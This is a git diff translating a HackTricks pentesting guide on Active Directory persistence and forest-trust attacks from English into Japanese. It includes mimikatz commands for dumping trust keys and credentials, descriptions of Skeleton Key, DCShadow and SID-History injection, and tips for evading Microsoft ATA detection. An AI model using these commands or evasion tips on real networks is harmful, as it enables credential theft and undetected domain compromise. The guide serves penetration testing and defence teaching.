AdminSDHolderグループ -The Access Control List (ACL) of the **AdminSDHolder** object is used as a template to **copy** **permissions** to **all “protected groups”** in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins, Backup Operators and krbtgt.\ -By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker **modifies the ACL** of the group **AdminSDHolder** for example, giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group (in an hour).\ -And if someone tries to delete this user from the Domain Admins (for example) in an hour or less, the user will be back in the group.\ -[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group) +**AdminSDHolder**オブジェクトのアクセス制御リスト(ACL)は、Active Directoryの**「保護されたグループ」**およびそのメンバーに**「権限」**を**コピーするためのテンプレート**として使用されます。保護されたグループには、Domain Admins、Administrators、Enterprise Admins、Schema Admins、Backup Operators、krbtgtなどの特権グループが含まれます。\ +デフォルトでは、このグループのACLは、すべての「保護されたグループ」内にコピーされます。これは、これらの重要なグループへの意図的または偶発的な変更を防ぐために行われます。ただし、攻撃者が例えばグループ**AdminSDHolder**のACLを変更して、通常のユーザーに完全な権限を与えると、このユーザーは保護されたグループ内のすべてのグループに対して完全な権限を持つことになります(1時間以内に)。\ +そして、1時間以内にこのユーザーをDomain Adminsから削除しようとすると、ユーザーはグループに戻ります。\ +[**AdminSDHolderグループの詳細についてはこちらを参照してください。**](privileged-groups-and-token-privileges.md#adminsdholder-group) -### DSRM Credentials +### DSRM資格情報 -There is a **local administrator** account inside each **DC**. Having admin privileges in this machine, you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user. +各**DC**には**ローカル管理者**アカウントがあります。このマシンで管理者特権を持っている場合、mimikatzを使用してローカル管理者のハッシュをダンプすることができます。その後、レジストリを変更してこのパスワードを**有効化**し、リモートでこのローカル管理者ユーザーにアクセスできるようにすることができます。 {% content-ref url="dsrm-credentials.md" %} [dsrm-credentials.md](dsrm-credentials.md) {% endcontent-ref %} -### ACL Persistence +### ACL永続性 -You could **give** some **special permissions** to a **user** over some specific domain objects that will let the user **escalate privileges in the future**. +将来の特権エスカレーションを可能にするために、特定のドメインオブジェクトに対して**ユーザーに特別な権限を与える**ことができます。 {% content-ref url="acl-persistence-abuse/" %} [acl-persistence-abuse](acl-persistence-abuse/) {% endcontent-ref %} -### Security Descriptors +### セキュリティ記述子 -The **security descriptors** are used to **store** the **permissions** an **object** have **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group. +**セキュリティ記述子**は、オブジェクトがオブジェクトに対して持つ**権限**を**保存**するために使用されます。オブジェクトのセキュリティ記述子に**わずかな変更**を加えるだけで、特権グループのメンバーである必要がなくても、そのオブジェクトに対して非常に興味深い特権を得ることができます。 {% content-ref url="security-descriptors.md" %} [security-descriptors.md](security-descriptors.md) {% endcontent-ref %} -### Skeleton Key +### スケルトンキー -**Modify LSASS** in memory to create a **master password** that will work for any account in the domain. +メモリ内のLSASSを**変更**して、ドメイン内の任意のアカウントで機能する**マスターパスワード**を作成します。 {% content-ref url="skeleton-key.md" %} [skeleton-key.md](skeleton-key.md) {% endcontent-ref %} -### Custom SSP +### カスタムSSP -[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\ -You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.\\ +[ここでSSP(セキュリティサポートプロバイダ)とは何かを学びます。](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\ +自分自身のSSPを作成して、マシンへのアクセスに使用される**資格情報**を**クリアテキスト**で**キャプチャ**することができます。 {% content-ref url="custom-ssp.md" %} [custom-ssp.md](custom-ssp.md) @@ -496,72 +453,67 @@ You can create you **own SSP** to **capture** in **clear text** the **credential ### DCShadow -It registers a **new Domain Controller** in the AD and uses it to **push attributes** (SIDHistory, SPNs...) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.\ -Note that if you use wrong data, pretty ugly logs will appear. +これは、新しいドメインコントローラをADに登録し、指定されたオブジェクトに対して(SIDHistory、SPNなどの)属性を**修正**するために使用します。この操作により、**変更に関するログが残らない**まま、指定されたオブジェクトに属性を追加することができます。DA特権とルートドメイン内にいる必要があります。\ +ただし、間違ったデータを使用すると、非常に醜いログが表示されます。 {% content-ref url="dcshadow.md" %} [dcshadow.md](dcshadow.md) {% endcontent-ref %} -### LAPS Persistence +### LAPS永続性 -Previously we have discussed about how to escalate privileges if you have **enough permission to read LAPS passwords**. However, these passwords can also be used to **maintain persistence**.\ -Check: +以前、LAPSパスワードを読み取るための**十分な権限**がある場合に特権エスカレーションする方法について説明しました。ただし、これらのパスワードは**永続性を維持するためにも使用**できます。\ +確認してください: {% content-ref url="laps.md" %} [laps.md](laps.md) {% endcontent-ref %} -## Forest Privilege Escalation - Domain Trusts +## フォレスト特権エスカレーション - ドメイン信頼関係 -Microsoft considers that the **domain isn't a Security Boundary**, the **Forest is the security Boundary**. This means that **if you compromise a domain inside a Forest you might be able to compromise the entire Forest**. +Microsoftは、**ドメインはセキュリティ境界ではなく、フォレストがセキュリティ境界**であると考えています。これは、フォレスト内のドメインを侵害すると、フォレスト全体を侵害する可能性があることを意味します。 -### Basic Information +### 基本情報 -At a high level, a [**domain trust**](http://technet.microsoft.com/en-us/library/cc759554\(v=ws.10\).aspx) establishes the ability for **users in one domain to authenticate** to resources or act as a [security principal](https://technet.microsoft.com/en-us/library/cc780957\(v=ws.10\).aspx) **in another domain**. +高レベルでは、[**ドメイン信頼関係**](http://technet.microsoft.com/en-us/library/cc759554\(v=ws.10\).aspx)は、**1つのドメインのユーザーが別のドメインで認証**したり、[セキュリティプリンシパル](https://technet.microsoft.com/en-us/library/cc780957\(v=ws.10\).aspx)として**動作**したりするための能力を確立します。 -Essentially, all a trust does is **linking up the authentication systems of two domains** and allowing authentication traffic to flow between them through a system of referrals.\ -When **2 domains trust each other they exchange keys**, these **keys** are going to be **saved** in the **DCs** of **each domains** (**2 keys per trust direction, latest and previous**) and the keys will be the base of the trust. +基本的に、信頼関係は2つのドメインの認証システムを**リンク**し、リファラルシステムを介して認証トラフィックが流れることを可能にするだけです。\ +**2つのドメインが互いに信頼すると、鍵が交換**されます。これらの**鍵**は、各ドメインのDCに**保存**され、鍵は信頼の基礎となります。 -When a **user** tries to **access** a **service** on the **trusting domain** it will request an **inter-realm TGT** to the DC of its domain. The DC wills serve the client this **TGT** which would be **encrypted/signed** with the **inter-realm** **key** (the key both domains **exchanged**). Then, the **client** will **access** the **DC of the other domain** and will **request** a **TGS** for the service using the **inter-realm TGT**. The **DC** of the trusting domain will **check** the **key** used, if it's ok, it will **trust everything in that ticket** and will serve the TGS to the client. +ユーザーが信頼するドメインのサービスにアクセスしようとすると、ユーザーは自身のドメインのDCに対して**相互領域TGT**を要求します。DCはこのTGTをクライアントに提供しますが、これは両ドメインが**交換した相互領域鍵**で**暗号化/署名**されています。その後、クライアント +### 異なる信頼関係 -![](<../../.gitbook/assets/image (166) (1).png>) +重要なことは、**信頼関係は片方向または双方向のいずれか**であることです。双方向の場合、両方のドメインは互いを信頼しますが、**片方向**の信頼関係では、1つのドメインが**信頼される**ドメインであり、もう1つが**信頼する**ドメインです。最後の場合、**信頼されるドメインから信頼するドメイン内のリソースにのみアクセスできます**。 -### Different trusts +ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されるドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**であり、**ドメインB**では、これは**インバウンド信頼**です。 -It's important to notice that **a trust can be 1 way or 2 ways**. In the 2 ways options, both domains will trust each other, but in the **1 way** trust relation one of the domains will be the **trusted** and the other the **trusting** domain. In the last case, **you will only be able to access resources inside the trusting domain from the trusted one**. +**異なる信頼関係** -If Domain A trusts Domain B, A is the trusting domain and B ins the trusted one. Moreover, in **Domain A**, this would be an **Outbound trust**; and in **Domain B**, this would be an **Inbound trust**. +* **親-子** - 同じフォレストの一部 - 子ドメインは親との暗黙の双方向推移的な信頼を保持します。これはおそらく最も一般的な信頼のタイプです。 +* **クロスリンク** - 参照時間を改善するための子ドメイン間の「ショートカット信頼」。通常、複雑なフォレストの参照はフォレストルートまでフィルタリングされ、その後ターゲットドメインに戻る必要があるため、地理的に広がったシナリオでは、クロスリンクを使用して認証時間を短縮することができます。 +* **外部** - 異なるドメイン間で暗黙の非推移的な信頼が作成されます。外部信頼は、既にフォレスト信頼によって結合されていないフォレスト外のドメインへのアクセスを提供します。外部信頼は、後で説明するセキュリティ保護であるSIDフィルタリングを強制します。 +* **ツリールート** - フォレストルートドメインと新しいツリールートの間の暗黙の双方向推移的な信頼。私はあまりツリールート信頼に遭遇したことはありませんが、[Microsoftのドキュメント](https://technet.microsoft.com/en-us/library/cc773178\(v=ws.10\).aspx)によれば、フォレスト内で新しいドメインツリーを作成するときに作成されます。これらはフォレスト内の信頼であり、[双方向推移性を保持](https://technet.microsoft.com/en-us/library/cc757352\(v=ws.10\).aspx)しながら、ツリーに別のドメイン名(child.parent.comではなく)を持たせることができます。 +* **フォレスト** - 2つのフォレストルートドメイン間の推移的な信頼。フォレスト信頼もSIDフィルタリングを強制します。 +* **MIT** - Windows以外の[RFC4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの信頼。将来的にはMIT信頼についてもっと詳しく調査したいと思っています。 -**Different trusting relationships** +#### **信頼関係**の他の違い -* **Parent-Child** – part of the same forest – a child domain retains an implicit two-way transitive trust with its parent. This is probably the most common type of trust that you’ll encounter. -* **Cross-link** – aka a “shortcut trust” between child domains to improve referral times. Normally referrals in a complex forest have to filter up to the forest root and then back down to the target domain, so for a geographically spread out scenario, cross-links can make sense to cut down on authentication times. -* **External** – an implicitly non-transitive trust created between disparate domains. “[External trusts provide access to resources in a domain outside of the forest that is not already joined by a forest trust.](https://technet.microsoft.com/en-us/library/cc773178\(v=ws.10\).aspx)” External trusts enforce SID filtering, a security protection covered later in this post. -* **Tree-root** – an implicit two-way transitive trust between the forest root domain and the new tree root you’re adding. I haven’t encountered tree-root trusts too often, but from the [Microsoft documentation](https://technet.microsoft.com/en-us/library/cc773178\(v=ws.10\).aspx), they’re created when you create a new domain tree in a forest. These are intra-forest trusts, and they [preserve two-way transitivity](https://technet.microsoft.com/en-us/library/cc757352\(v=ws.10\).aspx) while allowing the tree to have a separate domain name (instead of child.parent.com). -* **Forest** – a transitive trust between two forest root domain. Forest trusts also enforce SID filtering. -* **MIT** – a trust with a non-Windows [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domain. I hope to dive more into MIT trusts in the future. +* 信頼関係は**推移的**(AがBを信頼し、BがCを信頼する場合、AがCを信頼する)または**非推移的**である場合があります。 +* 信頼関係は**双方向信頼**(お互いを信頼する)または**片方向信頼**(片方だけがもう一方を信頼する)として設定できます。 -#### Other differences in **trusting relationships** +### 攻撃経路 -* A trust relationship can also be **transitive** (A trust B, B trust C, then A trust C) or **non-transitive**. -* A trust relationship can be set up as **bidirectional trust** (both trust each other) or as **one-way trust** (only one of them trust the other). +1. 信頼関係を**列挙**する +2. **セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメイン**のリソースに**アクセス**できるかどうかを確認します。おそらく、ACEエントリまたは他のドメインのグループに所属していることによる**ドメイン間の関係**を探します。この場合、kerberoastも別のオプションです。 +3. ドメインを**ピボット**できる**アカウント**を**侵害**します。 -### Attack Path +1つのドメインから別の外部/信頼するドメインのリソースにアクセスできるセキュリティプリンシパル(ユーザー/グループ/コンピュータ)には、次の3つの**主要な**方法があります。 -1. **Enumerate** the trusting relationships -2. Check if any **security principal** (user/group/computer) has **access** to resources of the **other domain**, maybe by ACE entries or by being in groups of the other domain. Look for **relationships across domains** (the trust was created for this probably). - 1. kerberoast in this case could be another option. -3. **Compromise** the **accounts** which can **pivot** through domains. - -There are three **main** ways that security principals (users/groups/computer) from one domain can have access into resources in another foreign/trusting domain: - -* They can be added to **local groups** on individual machines, i.e. the local “Administrators” group on a server. -* They can be added to **groups in the foreign domain**. There are some caveats depending on trust type and group scope, described shortly. -* They can be added as principals in an **access control list**, most interesting for us as principals in **ACEs** in a **DACL**. For more background on ACLs/DACLs/ACEs, check out the “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an\_ace\_up\_the\_sleeve.pdf)” whitepaper. - -### Child-to-Parent forest privilege escalation +* 個々のマシンの**ローカルグループ**に追加されることがあります。たとえば、サーバーのローカルの「Administrators」グループです。 +* **外部ドメインのグループ**に追加されることがあります。信頼のタイプとグループのスコープにはいくつかの注意点がありますが、後で説明します。 +* アクセス制御リストの**主体**として追加されることがあります。私たちにとって最も興味深いのは、DACLのACE内の主体としてのACEです。ACL/DACL/ACEに関する詳細は、「[An ACE Up The Sleeve](https://specterops.io/assets/resources/an\_ace\_up\_the\_sleeve.pdf)」ホワイトペーパーを参照してください。 +### 子から親へのフォレスト特権エスカレーション ``` Get-DomainTrust @@ -573,11 +525,9 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case) WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` - {% hint style="warning" %} -There are **2 trusted keys**, one for _Child --> Parent_ and another one for _Parent_ --> _Child_.\ -You can the one used by the current domain them with: - +信頼されたキーは2つあります。1つは「子 → 親」用で、もう1つは「親 → 子」用です。\ +現在のドメインで使用されているキーを次のように取得できます。 ```bash Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' @@ -586,65 +536,62 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' #### SID-History Injection -Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection: +SID-Historyインジェクションを利用して、エンタープライズ管理者として子/親ドメインにエスカレーションします。 {% content-ref url="sid-history-injection.md" %} [sid-history-injection.md](sid-history-injection.md) {% endcontent-ref %} -#### Exploit writeable Configuration NC +#### 書き込み可能なConfiguration NCの悪用 -The Configuration NC is the primary repository for configuration information for a forest and is replicated to every DC in the forest. Additionally, every writable DC (not read-only DCs) in the forest holds a writable copy of the Configuration NC. Exploiting this require running as SYSTEM on a (child) DC. +Configuration NCは、フォレストの設定情報の主要なリポジトリであり、フォレスト内のすべてのDCにレプリケートされます。さらに、フォレスト内のすべての書き込み可能なDC(読み取り専用DCではないDC)は、Configuration NCの書き込み可能なコピーを保持しています。これを悪用するには、(子)DCでSYSTEMとして実行する必要があります。 -It is possible to compromise the root domain in various ways covered below. +以下で説明するさまざまな方法で、ルートドメインを侵害することができます。 -##### Link GPO to root DC site -The Sites container in Configuration NC contains all sites of the domain-joined computers in the AD forest. It is possible to link GPOs to sites when running as SYSTEM on any DC in the forest, including the site(s) of the forest root DCs, and thereby compromise these. +##### ルートDCサイトにGPOをリンクする +Configuration NCのSitesコンテナには、ADフォレストのドメインに参加しているコンピュータのすべてのサイトが含まれています。フォレスト内の任意のDCでSYSTEMとして実行する場合、フォレストルートDCのサイト(またはサイト)にGPOをリンクし、これらを侵害することができます。 -More details can be read here [Bypass SID filtering research](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). +詳細はこちらを参照してください:[Bypass SID filtering research](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). -##### Compromise any gMSA in the forest -The attack depends on privileged gMSAs in the targeted domain. +##### フォレスト内の任意のgMSAを侵害する +攻撃は、対象ドメインの特権gMSAに依存しています。 -The KDS Root key, which is used to calculate the password of gMSAs in the forest, is stored in the Configuration NC. When running as SYSTEM on any DC in the forest, one can read out the KDS Root key and calculate the password of any gMSA in the forest. +フォレスト内のgMSAのパスワードを計算するために使用されるKDSルートキーは、Configuration NCに格納されています。フォレスト内の任意のDCでSYSTEMとして実行する場合、KDSルートキーを読み取り、フォレスト内の任意のgMSAのパスワードを計算することができます。 -More details can be read here: [Golden gMSA trust attack from child to parent](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). +詳細はこちらを参照してください:[Golden gMSA trust attack from child to parent](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). -##### Schema change attack -The attack requires the attacker to wait for new privileged AD objects to be created. +##### スキーマ変更攻撃 +攻撃には、攻撃者が特権のADオブジェクトが作成されるのを待つ必要があります。 -When running as SYSTEM on any DC in the forest, one can grant any user full control over all classes in the AD Schema. That control can be abused to create an ACE in the default security descriptor of any AD object that grants full control to a compromised principal. All new instances of the modified AD object types will have this ACE. +フォレスト内の任意のDCでSYSTEMとして実行する場合、ADスキーマのすべてのクラスに対して任意のユーザーに完全な制御権限を付与することができます。この制御権限は、侵害されたプリンシパルに完全な制御権限を付与するACEをADオブジェクトのデフォルトのセキュリティ記述子に作成するために悪用することができます。変更されたADオブジェクトタイプのすべての新しいインスタンスには、このACEがあります。 -More details can be read here: [Schema change trust attack from child to parent](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). +詳細はこちらを参照してください:[Schema change trust attack from child to parent](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). -##### From DA to EA with ADCS ESC5 -The ADCS ESC5 (Vulnerable PKI Object Access Control) attacks abuse control over PKI objects to create a vulnerable certificate template that can be abused to authenticate as any user in the forest. Since all the PKI objects are stored in the Configuration NC, one can execute ESC5 if they have compromised any writable (child) DC in the forest. +##### DAからEAへのADCS ESC5を使用したエスカレーション +ADCS ESC5(脆弱なPKIオブジェクトアクセス制御)攻撃は、PKIオブジェクトの制御を悪用して、フォレスト内の任意のユーザーとして認証するために悪用される脆弱な証明書テンプレートを作成します。すべてのPKIオブジェクトはConfiguration NCに格納されているため、フォレスト内の任意の書き込み可能な(子)DCを侵害している場合、ESC5を実行することができます。 -More details can be read here: [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) +詳細はこちらを参照してください:[From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) -In case the AD forest does not have ADCS, the attacker can create the necessary components as described here: [Escalating from child domain’s admins to enterprise admins in 5 minutes by abusing AD CS, a follow up](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). - -### External Forest Domain - One-Way (Inbound) or bidirectional +ADフォレストにADCSがない場合、攻撃者はこちらで説明されているように必要なコンポーネントを作成することができます:[Escalating from child domain’s admins to enterprise admins in 5 minutes by abusing AD CS, a follow up](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). +### 外部フォレストドメイン - 片方向(インバウンド)または双方向 ```powershell Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain TrustType : WINDOWS-ACTIVE_DIRECTORY -TrustAttributes : +TrustAttributes : TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` - -In this scenario **your domain is trusted** by an external one giving you **undetermined permissions** over it. You will need to find **which principals of your domain have which access over the external domain** and then try to exploit it: +このシナリオでは、**外部のドメインが信頼している**ドメインに対して、**未確定の権限**を持っています。まず、**自分のドメインの主体が外部ドメインに対してどのようなアクセス権を持っているか**を見つけ、それを悪用しようとします。 {% content-ref url="external-forest-domain-oneway-inbound.md" %} [external-forest-domain-oneway-inbound.md](external-forest-domain-oneway-inbound.md) {% endcontent-ref %} -### External Forest Domain - One-Way (Outbound) - +### 外部フォレストドメイン - ワンウェイ(アウトバウンド) ```powershell Get-DomainTrust -Domain current.local @@ -656,111 +603,102 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` +このシナリオでは、**あなたのドメイン**が別のドメインの主体に一部の**特権**を信頼しています。 -In this scenario **your domain** is **trusting** some **privileges** to principal from a **different domains**. - -However, when a **domain is trusted** by the trusting domain, the trusted domain **creates a user** with a **predictable name** that uses as **password the trusted password**. Which means that it's possible to **access a user from the trusting domain to get inside the trusted one** to enumerate it and try to escalate more privileges: +ただし、ドメインが信頼するドメインによって、信頼されたドメインは**予測可能な名前**を持つユーザーを**作成**し、信頼されたパスワードを使用します。つまり、信頼するドメインからのユーザーにアクセスして、信頼されたドメインに入り込んで列挙し、さらに特権をエスカレーションすることが可能です。 {% content-ref url="external-forest-domain-one-way-outbound.md" %} [external-forest-domain-one-way-outbound.md](external-forest-domain-one-way-outbound.md) {% endcontent-ref %} -Another way to compromise the trusted domain is to find a [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) created in the **opposite direction** of the domain trust (which isn't very common). +信頼されたドメインを侵害する別の方法は、ドメイン信頼の**逆方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これは非常に一般的ではありません)。 -Another way to compromise the trusted domain is to wait in a machine where a **user from the trusted domain can access** to login via **RDP**. Then, the attacker could inject code in the RDP session process and **access the origin domain of the victim** from there.\ -Moreover, if the **victim mounted his hard drive**, from the **RDP session** process the attacker could store **backdoors** in the **startup folder of the hard drive**. This technique is called **RDPInception.** +信頼されたドメインを侵害する別の方法は、信頼されたドメインの**ユーザーがアクセスできるマシン**で待機し、**RDP**を介してログインすることです。その後、攻撃者はRDPセッションプロセスにコードをインジェクトし、そこから被害者の元のドメインにアクセスすることができます。\ +さらに、被害者が**ハードドライブをマウント**した場合、RDPセッションプロセスから攻撃者はハードドライブの**スタートアップフォルダーにバックドア**を保存することができます。この技術は**RDPInception**と呼ばれます。 {% content-ref url="rdp-sessions-abuse.md" %} [rdp-sessions-abuse.md](rdp-sessions-abuse.md) {% endcontent-ref %} -### Domain trust abuse mitigation +### ドメイン信頼の乱用の緩和策 -**SID Filtering:** +**SIDフィルタリング:** -* Avoid attacks which abuse SID history attribute across forest trust. -* Enabled by default on all inter-forest trusts. Intra-forest trusts are assumed secured by default (MS considers forest and not the domain to be a security boundary). -* But, since SID filtering has potential to break applications and user access, it is often disabled. -* Selective Authentication - * In an inter-forest trust, if Selective Authentication is configured, users between the trusts will not be automatically authenticated. Individual access to domains and servers in the trusting domain/forest should be given. -* Does not prevent writeable Configration NC exploitation and trust account attack. +* フォレスト間の信頼を悪用する攻撃を防ぐ。 +* フォレスト間の信頼ではデフォルトで有効になっています。フォレスト内の信頼はデフォルトでセキュリティが確保されていると見なされます(Microsoftはドメインではなくフォレストをセキュリティの境界と考えています)。 +* ただし、SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があるため、しばしば無効にされています。 +* 選択的認証 +* フォレスト間の信頼で選択的認証が構成されている場合、信頼するドメイン間のユーザーは自動的に認証されません。信頼するドメイン/フォレストのドメインとサーバーへの個別のアクセス権限を与える必要があります。 +* 書き込み可能なConfigration NCの悪用と信頼アカウント攻撃を防ぐことはできません。 -[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) +[**ired.teamのドメイン信頼に関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) -## AD -> Cloud & Cloud -> AD +## AD -> クラウド & クラウド -> AD {% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %} -## Some General Defenses +## 一般的な防御策 -[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)\ -**Please, find some migrations against each technique in the description of the technique.** +[**ここで資格情報を保護する方法について詳しく学びましょう。**](../stealing-credentials/credentials-protections.md)\ +**各技術に対するいくつかの対策を説明した説明でマイグレーションを見つけてください。** -* Not allow Domain Admins to login on any other hosts apart from Domain Controllers -* Never run a service with DA privileges -* If you need domain admin privileges, limit the time: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +* ドメイン管理者はドメインコントローラー以外のホストにログインできないようにする +* DA特権でサービスを実行しない +* ドメイン管理者特権が必要な場合は、時間を制限する:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` -### Deception +### デセプション -* Password does not expire -* Trusted for Delegation -* Users with SPN -* Password in description -* Users who are members of high privilege groups -* Users with ACL rights over other users, groups or containers -* Computer objects +* パスワードの有効期限が切れない +* 委任が信頼されている +* SPNを持つユーザー +* 説明にパスワードが含まれている +* 高特権グループのメンバーであるユーザー +* 他のユーザー、グループ、またはコンテナに対するACL権限を持つユーザー +* コンピュータオブジェクト * ... * [https://github.com/samratashok/Deploy-Deception](https://github.com/samratashok/Deploy-Deception) - * `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` +* `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` -## How to identify deception +## デセプションの特定方法 -**For user objects:** +**ユーザーオブジェクトの場合:** -* ObjectSID (different from the domain) -* lastLogon, lastlogontimestamp -* Logoncount (very low number is suspicious) +* ObjectSID(ドメインとは異なる) +* lastLogon、lastlogontimestamp +* Logoncount(非常に低い数値は疑わしい) * whenCreated -* Badpwdcount (very low number is suspicious) +* Badpwdcount(非常に低い数値は疑わしい) -**General:** +**一般的な方法:** -* Some solutions fill with information in all the possible attributes. For example, compare the attributes of a computer object with the attribute of a 100% real computer object like DC. Or users against the RID 500 (default admin). -* Check if something is too good to be true +* 一部のソリューションは、すべての可能な属性に情報を埋めます。たとえば、コンピュータオブジェクトの属性をDCなどの100%実際のコンピュータオブジェクトの属性と比較します。または、RID 500(デフォルトの管理者)に対するユーザーをチェックします。 +* 何かがあまりにも良すぎる場合は疑ってみてください * [https://github.com/JavelinNetworks/HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) -### Bypassing Microsoft ATA detection +### Microsoft ATAの検出のバイパス -#### User enumeration +#### ユーザーの列挙 -ATA only complains when you try to enumerate sessions in the DC, so if you don't look for sessions in the DC but in the rest of the hosts, you probably won't get detected. +ATAは、DCでセッションを列挙しようとすると警告を表示するため、DCではなく他のホストでセッションを検索すれば、検出されない可能性があります。 -#### Tickets impersonation creation (Over pass the hash, golden ticket...) +#### チケットの偽装作成(パスハッシュの乗っ取り、ゴールデンチケットなど) -Always create the tickets using the **aes** keys also because what ATA identifies as malicious is the degradation to NTLM. +ATAが悪意のあるものと見なすのはNTLMへの劣化ですので、常に**aes**キーを使用してチケットを作成してください。 #### DCSync -If you don't execute this from a Domain Controller, ATA is going to catch you, sorry. +これをドメインコントローラー以外から実行すると、ATAにキャッチされます。 -## More Tools +## その他のツール -* [Powershell script to do domain auditing automation](https://github.com/phillips321/adaudit) -* [Python script to enumerate active directory](https://github.com/ropnop/windapsearch) -* [Python script to enumerate active directory](https://github.com/CroweCybersecurity/ad-ldap-enum) +* [ドメイン監査自動化のためのPowerShellスクリプト](https://github.com/phillips321/adaudit) +* [Active Directoryの列挙のためのPythonスクリプト](https://github.com/ropnop/windapsearch) +* [Active Directoryの列挙のためのPythonスクリプト](https://github.com/CroweCybersecurity/ad-ldap-enum) -## References +## 参考文献 * [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
